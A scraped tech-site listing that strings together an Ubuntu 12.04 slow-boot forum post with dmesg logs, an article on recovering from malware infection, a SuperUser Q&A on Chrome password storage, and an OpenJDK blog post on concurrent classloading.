20.545644] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 20.545647] cfg80211: (2457000 KHz - 2482000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) [ 20.545649] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) [ 20.545652] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 20.545654] cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 20.609484] type=1400 audit(1340502633.160:2): apparmor="STATUS" operation="profile_load" name="/sbin/dhclient" pid=693 comm="apparmor_parser" [ 20.609494] type=1400 audit(1340502633.160:3): apparmor="STATUS" operation="profile_replace" name="/sbin/dhclient" pid=642 comm="apparmor_parser" [ 20.609843] type=1400 audit(1340502633.160:4): apparmor="STATUS" operation="profile_load" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=693 comm="apparmor_parser" [ 20.609852] type=1400 audit(1340502633.160:5): apparmor="STATUS" operation="profile_replace" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=642 comm="apparmor_parser" [ 20.610047] type=1400 audit(1340502633.160:6): apparmor="STATUS" operation="profile_load" name="/usr/lib/connman/scripts/dhclient-script" pid=693 comm="apparmor_parser" [ 20.610060] type=1400 audit(1340502633.160:7): apparmor="STATUS" operation="profile_replace" name="/usr/lib/connman/scripts/dhclient-script" pid=642 comm="apparmor_parser" [ 20.610476] type=1400 audit(1340502633.160:8): apparmor="STATUS" operation="profile_replace" name="/sbin/dhclient" pid=814 comm="apparmor_parser" [ 20.610829] type=1400 audit(1340502633.160:9): apparmor="STATUS" operation="profile_replace" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=814 comm="apparmor_parser" [ 20.611035] type=1400 audit(1340502633.160:10): apparmor="STATUS" operation="profile_replace" name="/usr/lib/connman/scripts/dhclient-script" pid=814 comm="apparmor_parser" [ 20.661912] snd_hda_intel 0000:00:1b.0: PCI INT A -> GSI 22 (level, low) -> IRQ 22 [ 20.661982] snd_hda_intel 0000:00:1b.0: irq 47 for MSI/MSI-X [ 20.662013] snd_hda_intel 0000:00:1b.0: setting latency timer to 64 [ 20.770289] input: HDA Intel Mic as /devices/pci0000:00/0000:00:1b.0/sound/card0/input12 [ 20.770689] snd_hda_intel 0000:01:00.1: PCI INT B -> GSI 17 (level, low) -> IRQ 17 [ 20.770786] snd_hda_intel 0000:01:00.1: irq 48 for MSI/MSI-X [ 20.770815] snd_hda_intel 0000:01:00.1: setting latency timer to 64 [ 20.994040] HDMI status: Codec=0 Pin=3 Presence_Detect=0 ELD_Valid=0 [ 20.994189] input: HDA ATI HDMI HDMI/DP,pcm=3 as /devices/pci0000:00/0000:00:01.0/0000:01:00.1/sound/card1/input13 [ 21.554799] vesafb: mode is 1024x768x32, linelength=4096, pages=0 [ 21.554802] vesafb: scrolling: redraw [ 21.554804] vesafb: Truecolor: size=0:8:8:8, shift=0:16:8:0 [ 21.557342] vesafb: framebuffer at 0xd0000000, mapped to 0xffffc90011800000, using 3072k, total 3072k [ 21.557498] Console: switching to colour frame buffer device 128x48 [ 21.557516] fb0: VESA VGA frame buffer device [ 21.987338] EXT4-fs (sda2): re-mounted. Opts: errors=remount-ro [ 22.184693] EXT4-fs (sda6): mounted filesystem with ordered data mode. Opts: (null) [ 27.362440] iwlwifi 0000:04:00.0: RF_KILL bit toggled to disable radio. [ 27.436988] init: failsafe main process (986) killed by TERM signal [ 27.970112] ppdev: user-space parallel port driver [ 28.198917] Bluetooth: Core ver 2.16 [ 28.198935] NET: Registered protocol family 31 [ 28.198937] Bluetooth: HCI device and connection manager initialized [ 28.198940] Bluetooth: HCI socket layer initialized [ 28.198941] Bluetooth: L2CAP socket layer initialized [ 28.198947] Bluetooth: SCO socket layer initialized [ 28.226135] Bluetooth: RFCOMM TTY layer initialized [ 28.226141] Bluetooth: RFCOMM socket layer initialized [ 28.226143] Bluetooth: RFCOMM ver 1.11 [ 28.445620] Bluetooth: BNEP (Ethernet Emulation) ver 1.3 [ 28.445623] Bluetooth: BNEP filters: protocol multicast [ 28.524578] type=1400 audit(1340502641.076:11): apparmor="STATUS" operation="profile_load" name="/usr/lib/cups/backend/cups-pdf" pid=1052 comm="apparmor_parser" [ 28.525018] type=1400 audit(1340502641.076:12): apparmor="STATUS" operation="profile_load" name="/usr/sbin/cupsd" pid=1052 comm="apparmor_parser" [ 28.629957] type=1400 audit(1340502641.180:13): apparmor="STATUS" operation="profile_replace" name="/sbin/dhclient" pid=1105 comm="apparmor_parser" [ 28.630325] type=1400 audit(1340502641.180:14): apparmor="STATUS" operation="profile_replace" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=1105 comm="apparmor_parser" [ 28.630535] type=1400 audit(1340502641.180:15): apparmor="STATUS" operation="profile_replace" name="/usr/lib/connman/scripts/dhclient-script" pid=1105 comm="apparmor_parser" [ 28.645266] type=1400 audit(1340502641.196:16): apparmor="STATUS" operation="profile_load" name="/usr/lib/lightdm/lightdm/lightdm-guest-session-wrapper" pid=1104 comm="apparmor_parser" **[ 28.751922] ADDRCONF(NETDEV_UP): wlan0: link is not ready** [ 28.753653] tg3 0000:08:00.0: irq 49 for MSI/MSI-X **[ 28.856127] ADDRCONF(NETDEV_UP): eth0: link is not ready [ 28.857034] ADDRCONF(NETDEV_UP): eth0: link is not ready** [ 28.871080] type=1400 audit(1340502641.420:17): apparmor="STATUS" operation="profile_load" name="/usr/lib/telepathy/mission-control-5" pid=1108 comm="apparmor_parser" [ 28.871519] type=1400 audit(1340502641.420:18): apparmor="STATUS" operation="profile_load" name="/usr/lib/telepathy/telepathy-*" pid=1108 comm="apparmor_parser" [ 28.874905] type=1400 audit(1340502641.424:19): apparmor="STATUS" operation="profile_replace" name="/usr/lib/cups/backend/cups-pdf" pid=1113 comm="apparmor_parser" [ 28.875354] type=1400 audit(1340502641.424:20): apparmor="STATUS" operation="profile_replace" name="/usr/sbin/cupsd" pid=1113 comm="apparmor_parser" [ 30.477976] tg3 0000:08:00.0: eth0: Link is up at 100 Mbps, full duplex [ 30.477979] tg3 0000:08:00.0: eth0: Flow control is on for TX and on for RX **[ 30.478390] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready** [ 31.110269] fglrx_pci 0000:01:00.0: irq 50 for MSI/MSI-X [ 31.110859] [fglrx] Firegl kernel thread PID: 1327 [ 31.111021] [fglrx] Firegl kernel thread PID: 1329 [ 31.111408] [fglrx] Firegl kernel thread PID: 1330 [ 31.111543] [fglrx] IRQ 50 Enabled [ 31.712938] [fglrx] Gart USWC size:1224 M. [ 31.712941] [fglrx] Gart cacheable size:486 M. [ 31.712945] [fglrx] Reserved FB block: Shared offset:0, size:1000000 [ 31.712948] [fglrx] Reserved FB block: Unshared offset:fc2b000, size:3d5000 [ 31.712950] [fglrx] Reserved FB block: Unshared offset:1fffb000, size:5000 [ 41.312020] eth0: no IPv6 routers present As you can see I get multiple instances of [ 28.856127] ADDRCONF(NETDEV_UP): eth0: link is not ready and then finally it becomes read and I get the message [ 30.478390] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready. I searched askubuntun, ubuntuforum, and the web but couldn't find a solution. Any help would be very much appreciated. Here is the bootchart

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  • How to Recover From a Virus Infection: 3 Things You Need to Do

    - by Chris Hoffman
    If your computer becomes infected with a virus or another piece of malware, removing the malware from your computer is only the first step. There’s more you need to do to ensure you’re secure. Note that not every antivirus alert is an actual infection. If your antivirus program catches a virus before it ever gets a chance to run on your computer, you’re safe. If it catches the malware later, you have a bigger problem. Change Your Passwords You’ve probably used your computer to log into your email, online banking websites, and other important accounts. Assuming you had malware on your computer, the malware could have logged your passwords and uploaded them to a malicious third party. With just your email account, the third party could reset your passwords on other websites and gain access to almost any of your online accounts. To prevent this, you’ll want to change the passwords for your important accounts — email, online banking, and whatever other important accounts you’ve logged into from the infected computer. You should probably use another computer that you know is clean to change the passwords, just to be safe. When changing your passwords, consider using a password manager to keep track of strong, unique passwords and two-factor authentication to prevent people from logging into your important accounts even if they know your password. This will help protect you in the future. Ensure the Malware Is Actually Removed Once malware gets access to your computer and starts running, it has the ability to do many more nasty things to your computer. For example, some malware may install rootkit software and attempt to hide itself from the system. Many types of Trojans also “open the floodgates” after they’re running, downloading many different types of malware from malicious web servers to the local system. In other words, if your computer was infected, you’ll want to take extra precautions. You shouldn’t assume it’s clean just because your antivirus removed what it found. It’s probably a good idea to scan your computer with multiple antivirus products to ensure maximum detection. You may also want to run a bootable antivirus program, which runs outside of Windows. Such bootable antivirus programs will be able to detect rootkits that hide themselves from Windows and even the software running within Windows. avast! offers the ability to quickly create a bootable CD or USB drive for scanning, as do many other antivirus programs. You may also want to reinstall Windows (or use the Refresh feature on Windows 8) to get your computer back to a clean state. This is more time-consuming, especially if you don’t have good backups and can’t get back up and running quickly, but this is the only way you can have 100% confidence that your Windows system isn’t infected. It’s all a matter of how paranoid you want to be. Figure Out How the Malware Arrived If your computer became infected, the malware must have arrived somehow. You’ll want to examine your computer’s security and your habits to prevent more malware from slipping through in the same way. Windows is complex. For example, there are over 50 different types of potentially dangerous file extensions that can contain malware to keep track of. We’ve tried to cover many of the most important security practices you should be following, but here are some of the more important questions to ask: Are you using an antivirus? – If you don’t have an antivirus installed, you should. If you have Microsoft Security Essentials (known as Windows Defender on Windows 8), you may want to switch to a different antivirus like the free version of avast!. Microsoft’s antivirus product has been doing very poorly in tests. Do you have Java installed? – Java is a huge source of security problems. The majority of computers on the Internet have an out-of-date, vulnerable version of Java installed, which would allow malicious websites to install malware on your computer. If you have Java installed, uninstall it. If you actually need Java for something (like Minecraft), at least disable the Java browser plugin. If you’re not sure whether you need Java, you probably don’t. Are any browser plugins out-of-date? – Visit Mozilla’s Plugin Check website (yes, it also works in other browsers, not just Firefox) and see if you have any critically vulnerable plugins installed. If you do, ensure you update them — or uninstall them. You probably don’t need older plugins like QuickTime or RealPlayer installed on your computer, although Flash is still widely used. Are your web browser and operating system set to automatically update? – You should be installing updates for Windows via Windows Update when they appear. Modern web browsers are set to automatically update, so they should be fine — unless you went out of your way to disable automatic updates. Using out-of-date web browsers and Windows versions is dangerous. Are you being careful about what you run? – Watch out when downloading software to ensure you don’t accidentally click sketchy advertisements and download harmful software. Avoid pirated software that may be full of malware. Don’t run programs from email attachments. Be careful about what you run and where you get it from in general. If you can’t figure out how the malware arrived because everything looks okay, there’s not much more you can do. Just try to follow proper security practices. You may also want to keep an extra-close eye on your credit card statement for a while if you did any online-shopping recently. As so much malware is now related to organized crime, credit card numbers are a popular target.     

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  • Can Google Employees See My Saved Google Chrome Passwords?

    - by Jason Fitzpatrick
    Storing your passwords in your web browser seems like a great time saver, but are the passwords secure and inaccessible to others (even employees of the browser company) when squirreled away? Today’s Question & Answer session comes to us courtesy of SuperUser—a subdivision of Stack Exchange, a community-driven grouping of Q&A web sites. The Question SuperUser reader MMA is curious if Google employees have (or could have) access to the passwords he stores in Google Chrome: I understand that we are really tempted to save our passwords in Google Chrome. The likely benefit is two fold, You don’t need to (memorize and) input those long and cryptic passwords. These are available wherever you are once you log in to your Google account. The last point sparked my doubt. Since the password is available anywhere, the storage must in some central location, and this should be at Google. Now, my simple question is, can a Google employee see my passwords? Searching over the Internet revealed several articles/messages. Do you save passwords in Chrome? Maybe you should reconsider: Talks about your passwords being stolen by someone who has access to your computer account. Nothing mentioned about the central storage security and vulnerability. There is even a response from Chrome browser security tech lead about the first issue. Chrome’s insane password security strategy: Mostly along the same line. You can steal password from somebody if you have access to the computer account. How to Steal Passwords Saved in Google Chrome in 5 Simple Steps: Teaches you how to actually perform the act mentioned in the previous two when you have access to somebody else’s account. There are many more (including this one at this site), mostly along the same line, points, counter-points, huge debates. I refrain from mentioning them here, simply carry a search if you want to find them. Coming back to my original query, can a Google employee see my password? Since I can view the password using a simple button, definitely they can be unhashed (decrypted) even if encrypted. This is very different from the passwords saved in Unix-like OS’s where the saved password can never be seen in plain text. They use a one-way encryption algorithm to encrypt your passwords. This encrypted password is then stored in the passwd or shadow file. When you attempt to login, the password you type in is encrypted again and compared with the entry in the file that stores your passwords. If they match, it must be the same password, and you are allowed access. Thus, a superuser can change my password, can block my account, but he can never see my password. So are his concerns well founded or will a little insight dispel his worry? The Answer SuperUser contributor Zeel helps put his mind at ease: Short answer: No* Passwords stored on your local machine can be decrypted by Chrome, as long as your OS user account is logged in. And then you can view those in plain text. At first this seems horrible, but how did you think auto-fill worked? When that password field gets filled in, Chrome must insert the real password into the HTML form element – or else the page wouldn’t work right, and you could not submit the form. And if the connection to the website is not over HTTPS, the plain text is then sent over the internet. In other words, if chrome can’t get the plain text passwords, then they are totally useless. A one way hash is no good, because we need to use them. Now the passwords are in fact encrypted, the only way to get them back to plain text is to have the decryption key. That key is your Google password, or a secondary key you can set up. When you sign into Chrome and sync the Google servers will transmit the encrypted passwords, settings, bookmarks, auto-fill, etc, to your local machine. Here Chrome will decrypt the information and be able to use it. On Google’s end all that info is stored in its encrpyted state, and they do not have the key to decrypt it. Your account password is checked against a hash to log in to Google, and even if you let chrome remember it, that encrypted version is hidden in the same bundle as the other passwords, impossible to access. So an employee could probably grab a dump of the encrypted data, but it wouldn’t do them any good, since they would have no way to use it.* So no, Google employees can not** access your passwords, since they are encrypted on their servers. * However, do not forget that any system that can be accessed by an authorized user can be accessed by an unauthorized user. Some systems are easier to break than other, but none are fail-proof. . . That being said, I think I will trust Google and the millions they spend on security systems, over any other password storage solution. And heck, I’m a wimpy nerd, it would be easier to beat the passwords out of me than break Google’s encryption. ** I am also assuming that there isn’t a person who just happens to work for Google gaining access to your local machine. In that case you are screwed, but employment at Google isn’t actually a factor any more. Moral: Hit Win + L before leaving machine. While we agree with zeel that it’s a pretty safe bet (as long as your computer is not compromised) that your passwords are in fact safe while stored in Chrome, we prefer to encrypt all our logins and passwords in a LastPass vault. Have something to add to the explanation? Sound off in the the comments. Want to read more answers from other tech-savvy Stack Exchange users? Check out the full discussion thread here.     

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  • Parallel Classloading Revisited: Fully Concurrent Loading

    - by davidholmes
    Java 7 introduced support for parallel classloading. A description of that project and its goals can be found here: http://openjdk.java.net/groups/core-libs/ClassLoaderProposal.html The solution for parallel classloading was to add to each class loader a ConcurrentHashMap, referenced through a new field, parallelLockMap. This contains a mapping from class names to Objects to use as a classloading lock for that class name. This was then used in the following way: protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { // First, check if the class has already been loaded Class c = findLoadedClass(name); if (c == null) { long t0 = System.nanoTime(); try { if (parent != null) { c = parent.loadClass(name, false); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { // ClassNotFoundException thrown if class not found // from the non-null parent class loader } if (c == null) { // If still not found, then invoke findClass in order // to find the class. long t1 = System.nanoTime(); c = findClass(name); // this is the defining class loader; record the stats sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if (resolve) { resolveClass(c); } return c; } } Where getClassLoadingLock simply does: protected Object getClassLoadingLock(String className) { Object lock = this; if (parallelLockMap != null) { Object newLock = new Object(); lock = parallelLockMap.putIfAbsent(className, newLock); if (lock == null) { lock = newLock; } } return lock; } This approach is very inefficient in terms of the space used per map and the number of maps. First, there is a map per-classloader. As per the code above under normal delegation the current classloader creates and acquires a lock for the given class, checks if it is already loaded, then asks its parent to load it; the parent in turn creates another lock in its own map, checks if the class is already loaded and then delegates to its parent and so on till the boot loader is invoked for which there is no map and no lock. So even in the simplest of applications, you will have two maps (in the system and extensions loaders) for every class that has to be loaded transitively from the application's main class. If you knew before hand which loader would actually load the class the locking would only need to be performed in that loader. As it stands the locking is completely unnecessary for all classes loaded by the boot loader. Secondly, once loading has completed and findClass will return the class, the lock and the map entry is completely unnecessary. But as it stands, the lock objects and their associated entries are never removed from the map. It is worth understanding exactly what the locking is intended to achieve, as this will help us understand potential remedies to the above inefficiencies. Given this is the support for parallel classloading, the class loader itself is unlikely to need to guard against concurrent load attempts - and if that were not the case it is likely that the classloader would need a different means to protect itself rather than a lock per class. Ultimately when a class file is located and the class has to be loaded, defineClass is called which calls into the VM - the VM does not require any locking at the Java level and uses its own mutexes for guarding its internal data structures (such as the system dictionary). The classloader locking is primarily needed to address the following situation: if two threads attempt to load the same class, one will initiate the request through the appropriate loader and eventually cause defineClass to be invoked. Meanwhile the second attempt will block trying to acquire the lock. Once the class is loaded the first thread will release the lock, allowing the second to acquire it. The second thread then sees that the class has now been loaded and will return that class. Neither thread can tell which did the loading and they both continue successfully. Consider if no lock was acquired in the classloader. Both threads will eventually locate the file for the class, read in the bytecodes and call defineClass to actually load the class. In this case the first to call defineClass will succeed, while the second will encounter an exception due to an attempted redefinition of an existing class. It is solely for this error condition that the lock has to be used. (Note that parallel capable classloaders should not need to be doing old deadlock-avoidance tricks like doing a wait() on the lock object\!). There are a number of obvious things we can try to solve this problem and they basically take three forms: Remove the need for locking. This might be achieved by having a new version of defineClass which acts like defineClassIfNotPresent - simply returning an existing Class rather than triggering an exception. Increase the coarseness of locking to reduce the number of lock objects and/or maps. For example, using a single shared lockMap instead of a per-loader lockMap. Reduce the lifetime of lock objects so that entries are removed from the map when no longer needed (eg remove after loading, use weak references to the lock objects and cleanup the map periodically). There are pros and cons to each of these approaches. Unfortunately a significant "con" is that the API introduced in Java 7 to support parallel classloading has essentially mandated that these locks do in fact exist, and they are accessible to the application code (indirectly through the classloader if it exposes them - which a custom loader might do - and regardless they are accessible to custom classloaders). So while we can reason that we could do parallel classloading with no locking, we can not implement this without breaking the specification for parallel classloading that was put in place for Java 7. Similarly we might reason that we can remove a mapping (and the lock object) because the class is already loaded, but this would again violate the specification because it can be reasoned that the following assertion should hold true: Object lock1 = loader.getClassLoadingLock(name); loader.loadClass(name); Object lock2 = loader.getClassLoadingLock(name); assert lock1 == lock2; Without modifying the specification, or at least doing some creative wordsmithing on it, options 1 and 3 are precluded. Even then there are caveats, for example if findLoadedClass is not atomic with respect to defineClass, then you can have concurrent calls to findLoadedClass from different threads and that could be expensive (this is also an argument against moving findLoadedClass outside the locked region - it may speed up the common case where the class is already loaded, but the cost of re-executing after acquiring the lock could be prohibitive. Even option 2 might need some wordsmithing on the specification because the specification for getClassLoadingLock states "returns a dedicated object associated with the specified class name". The question is, what does "dedicated" mean here? Does it mean unique in the sense that the returned object is only associated with the given class in the current loader? Or can the object actually guard loading of multiple classes, possibly across different class loaders? So it seems that changing the specification will be inevitable if we wish to do something here. In which case lets go for something that more cleanly defines what we want to be doing: fully concurrent class-loading. Note: defineClassIfNotPresent is already implemented in the VM as find_or_define_class. It is only used if the AllowParallelDefineClass flag is set. This gives us an easy hook into existing VM mechanics. Proposal: Fully Concurrent ClassLoaders The proposal is that we expand on the notion of a parallel capable class loader and define a "fully concurrent parallel capable class loader" or fully concurrent loader, for short. A fully concurrent loader uses no synchronization in loadClass and the VM uses the "parallel define class" mechanism. For a fully concurrent loader getClassLoadingLock() can return null (or perhaps not - it doesn't matter as we won't use the result anyway). At present we have not made any changes to this method. All the parallel capable JDK classloaders become fully concurrent loaders. This doesn't require any code re-design as none of the mechanisms implemented rely on the per-name locking provided by the parallelLockMap. This seems to give us a path to remove all locking at the Java level during classloading, while retaining full compatibility with Java 7 parallel capable loaders. Fully concurrent loaders will still encounter the performance penalty associated with concurrent attempts to find and prepare a class's bytecode for definition by the VM. What this penalty is depends on the number of concurrent load attempts possible (a function of the number of threads and the application logic, and dependent on the number of processors), and the costs associated with finding and preparing the bytecodes. This obviously has to be measured across a range of applications. Preliminary webrevs: http://cr.openjdk.java.net/~dholmes/concurrent-loaders/webrev.hotspot/ http://cr.openjdk.java.net/~dholmes/concurrent-loaders/webrev.jdk/ Please direct all comments to the mailing list [email protected].

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  • Slow boot on Ubuntu 12.04, probable cause the network connection

    - by Ravi S Ghosh
    I have been having rather slow boot on Ubuntu 12.04. Lately, I tried to figure out the reason and it seems to be the network connection which does not get connected and requires multiple attempts. Here is part of dmesg [ 2.174349] EXT4-fs (sda2): INFO: recovery required on readonly filesystem [ 2.174352] EXT4-fs (sda2): write access will be enabled during recovery [ 2.308172] firewire_core: created device fw0: GUID 384fc00005198d58, S400 [ 2.333457] usb 7-1.2: new low-speed USB device number 3 using uhci_hcd [ 2.465896] EXT4-fs (sda2): recovery complete [ 2.466406] EXT4-fs (sda2): mounted filesystem with ordered data mode. Opts: (null) [ 2.589440] usb 7-1.3: new low-speed USB device number 4 using uhci_hcd **[ 18.292029] ADDRCONF(NETDEV_UP): eth0: link is not ready** [ 18.458958] udevd[377]: starting version 175 [ 18.639482] Adding 4200960k swap on /dev/sda5. Priority:-1 extents:1 across:4200960k [ 19.314127] wmi: Mapper loaded [ 19.426602] r592 0000:09:01.2: PCI INT B -> GSI 18 (level, low) -> IRQ 18 [ 19.426739] r592: driver successfully loaded [ 19.460105] input: Dell WMI hotkeys as /devices/virtual/input/input5 [ 19.493629] lp: driver loaded but no devices found [ 19.497012] cfg80211: Calling CRDA to update world regulatory domain [ 19.535523] ACPI Warning: _BQC returned an invalid level (20110623/video-480) [ 19.539457] acpi device:03: registered as cooling_device2 [ 19.539520] input: Video Bus as /devices/LNXSYSTM:00/device:00/PNP0A08:00/device:01/LNXVIDEO:00/input/input6 [ 19.539568] ACPI: Video Device [M86] (multi-head: yes rom: no post: no) [ 19.578060] Linux video capture interface: v2.00 [ 19.667708] dcdbas dcdbas: Dell Systems Management Base Driver (version 5.6.0-3.2) [ 19.763171] r852 0000:09:01.3: PCI INT B -> GSI 18 (level, low) -> IRQ 18 [ 19.763258] r852: driver loaded successfully [ 19.854769] input: Microsoft Comfort Curve Keyboard 2000 as /devices/pci0000:00/0000:00:1d.1/usb7/7-1/7-1.2/7-1.2:1.0/input/input7 [ 19.854864] generic-usb 0003:045E:00DD.0001: input,hidraw0: USB HID v1.11 Keyboard [Microsoft Comfort Curve Keyboard 2000] on usb-0000:00:1d.1-1.2/input0 [ 19.878605] input: Microsoft Comfort Curve Keyboard 2000 as /devices/pci0000:00/0000:00:1d.1/usb7/7-1/7-1.2/7-1.2:1.1/input/input8 [ 19.878698] generic-usb 0003:045E:00DD.0002: input,hidraw1: USB HID v1.11 Device [Microsoft Comfort Curve Keyboard 2000] on usb-0000:00:1d.1-1.2/input1 [ 19.902779] input: DELL DELL USB Laser Mouse as /devices/pci0000:00/0000:00:1d.1/usb7/7-1/7-1.3/7-1.3:1.0/input/input9 [ 19.925034] generic-usb 0003:046D:C063.0003: input,hidraw2: USB HID v1.10 Mouse [DELL DELL USB Laser Mouse] on usb-0000:00:1d.1-1.3/input0 [ 19.925057] usbcore: registered new interface driver usbhid [ 19.925059] usbhid: USB HID core driver [ 19.942362] uvcvideo: Found UVC 1.00 device Laptop_Integrated_Webcam_2M (0c45:63ea) [ 19.947004] input: Laptop_Integrated_Webcam_2M as /devices/pci0000:00/0000:00:1a.7/usb1/1-6/1-6:1.0/input/input10 [ 19.947075] usbcore: registered new interface driver uvcvideo [ 19.947077] USB Video Class driver (1.1.1) [ 20.145232] Intel(R) Wireless WiFi Link AGN driver for Linux, in-tree: [ 20.145235] Copyright(c) 2003-2011 Intel Corporation [ 20.145327] iwlwifi 0000:04:00.0: PCI INT A -> GSI 17 (level, low) -> IRQ 17 [ 20.145357] iwlwifi 0000:04:00.0: setting latency timer to 64 [ 20.145402] iwlwifi 0000:04:00.0: pci_resource_len = 0x00002000 [ 20.145404] iwlwifi 0000:04:00.0: pci_resource_base = ffffc90000674000 [ 20.145407] iwlwifi 0000:04:00.0: HW Revision ID = 0x0 [ 20.145531] iwlwifi 0000:04:00.0: irq 46 for MSI/MSI-X [ 20.145613] iwlwifi 0000:04:00.0: Detected Intel(R) WiFi Link 5100 AGN, REV=0x54 [ 20.145720] iwlwifi 0000:04:00.0: L1 Enabled; Disabling L0S [ 20.167535] iwlwifi 0000:04:00.0: device EEPROM VER=0x11f, CALIB=0x4 [ 20.167538] iwlwifi 0000:04:00.0: Device SKU: 0Xf0 [ 20.167567] iwlwifi 0000:04:00.0: Tunable channels: 13 802.11bg, 24 802.11a channels [ 20.172779] fglrx: module license 'Proprietary. (C) 2002 - ATI Technologies, Starnberg, GERMANY' taints kernel. [ 20.172783] Disabling lock debugging due to kernel taint [ 20.250115] [fglrx] Maximum main memory to use for locked dma buffers: 3759 MBytes. [ 20.250567] [fglrx] vendor: 1002 device: 9553 count: 1 [ 20.251256] [fglrx] ioport: bar 1, base 0x2000, size: 0x100 [ 20.251271] pci 0000:01:00.0: PCI INT A -> GSI 16 (level, low) -> IRQ 16 [ 20.251277] pci 0000:01:00.0: setting latency timer to 64 [ 20.251559] [fglrx] Kernel PAT support is enabled [ 20.251578] [fglrx] module loaded - fglrx 8.96.4 [Mar 12 2012] with 1 minors [ 20.310385] iwlwifi 0000:04:00.0: loaded firmware version 8.83.5.1 build 33692 [ 20.310598] Registered led device: phy0-led [ 20.310628] cfg80211: Ignoring regulatory request Set by core since the driver uses its own custom regulatory domain [ 20.372306] ieee80211 phy0: Selected rate control algorithm 'iwl-agn-rs' [ 20.411015] psmouse serio1: synaptics: Touchpad model: 1, fw: 7.2, id: 0x1c0b1, caps: 0xd04733/0xa40000/0xa0000 [ 20.454232] input: SynPS/2 Synaptics TouchPad as /devices/platform/i8042/serio1/input/input11 [ 20.545636] cfg80211: Ignoring regulatory request Set by core since the driver uses its own custom regulatory domain [ 20.545640] cfg80211: World regulatory domain updated: [ 20.545642] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) [ 20.545644] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 20.545647] cfg80211: (2457000 KHz - 2482000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) [ 20.545649] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) [ 20.545652] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 20.545654] cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) [ 20.609484] type=1400 audit(1340502633.160:2): apparmor="STATUS" operation="profile_load" name="/sbin/dhclient" pid=693 comm="apparmor_parser" [ 20.609494] type=1400 audit(1340502633.160:3): apparmor="STATUS" operation="profile_replace" name="/sbin/dhclient" pid=642 comm="apparmor_parser" [ 20.609843] type=1400 audit(1340502633.160:4): apparmor="STATUS" operation="profile_load" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=693 comm="apparmor_parser" [ 20.609852] type=1400 audit(1340502633.160:5): apparmor="STATUS" operation="profile_replace" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=642 comm="apparmor_parser" [ 20.610047] type=1400 audit(1340502633.160:6): apparmor="STATUS" operation="profile_load" name="/usr/lib/connman/scripts/dhclient-script" pid=693 comm="apparmor_parser" [ 20.610060] type=1400 audit(1340502633.160:7): apparmor="STATUS" operation="profile_replace" name="/usr/lib/connman/scripts/dhclient-script" pid=642 comm="apparmor_parser" [ 20.610476] type=1400 audit(1340502633.160:8): apparmor="STATUS" operation="profile_replace" name="/sbin/dhclient" pid=814 comm="apparmor_parser" [ 20.610829] type=1400 audit(1340502633.160:9): apparmor="STATUS" operation="profile_replace" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=814 comm="apparmor_parser" [ 20.611035] type=1400 audit(1340502633.160:10): apparmor="STATUS" operation="profile_replace" name="/usr/lib/connman/scripts/dhclient-script" pid=814 comm="apparmor_parser" [ 20.661912] snd_hda_intel 0000:00:1b.0: PCI INT A -> GSI 22 (level, low) -> IRQ 22 [ 20.661982] snd_hda_intel 0000:00:1b.0: irq 47 for MSI/MSI-X [ 20.662013] snd_hda_intel 0000:00:1b.0: setting latency timer to 64 [ 20.770289] input: HDA Intel Mic as /devices/pci0000:00/0000:00:1b.0/sound/card0/input12 [ 20.770689] snd_hda_intel 0000:01:00.1: PCI INT B -> GSI 17 (level, low) -> IRQ 17 [ 20.770786] snd_hda_intel 0000:01:00.1: irq 48 for MSI/MSI-X [ 20.770815] snd_hda_intel 0000:01:00.1: setting latency timer to 64 [ 20.994040] HDMI status: Codec=0 Pin=3 Presence_Detect=0 ELD_Valid=0 [ 20.994189] input: HDA ATI HDMI HDMI/DP,pcm=3 as /devices/pci0000:00/0000:00:01.0/0000:01:00.1/sound/card1/input13 [ 21.554799] vesafb: mode is 1024x768x32, linelength=4096, pages=0 [ 21.554802] vesafb: scrolling: redraw [ 21.554804] vesafb: Truecolor: size=0:8:8:8, shift=0:16:8:0 [ 21.557342] vesafb: framebuffer at 0xd0000000, mapped to 0xffffc90011800000, using 3072k, total 3072k [ 21.557498] Console: switching to colour frame buffer device 128x48 [ 21.557516] fb0: VESA VGA frame buffer device [ 21.987338] EXT4-fs (sda2): re-mounted. Opts: errors=remount-ro [ 22.184693] EXT4-fs (sda6): mounted filesystem with ordered data mode. Opts: (null) [ 27.362440] iwlwifi 0000:04:00.0: RF_KILL bit toggled to disable radio. [ 27.436988] init: failsafe main process (986) killed by TERM signal [ 27.970112] ppdev: user-space parallel port driver [ 28.198917] Bluetooth: Core ver 2.16 [ 28.198935] NET: Registered protocol family 31 [ 28.198937] Bluetooth: HCI device and connection manager initialized [ 28.198940] Bluetooth: HCI socket layer initialized [ 28.198941] Bluetooth: L2CAP socket layer initialized [ 28.198947] Bluetooth: SCO socket layer initialized [ 28.226135] Bluetooth: RFCOMM TTY layer initialized [ 28.226141] Bluetooth: RFCOMM socket layer initialized [ 28.226143] Bluetooth: RFCOMM ver 1.11 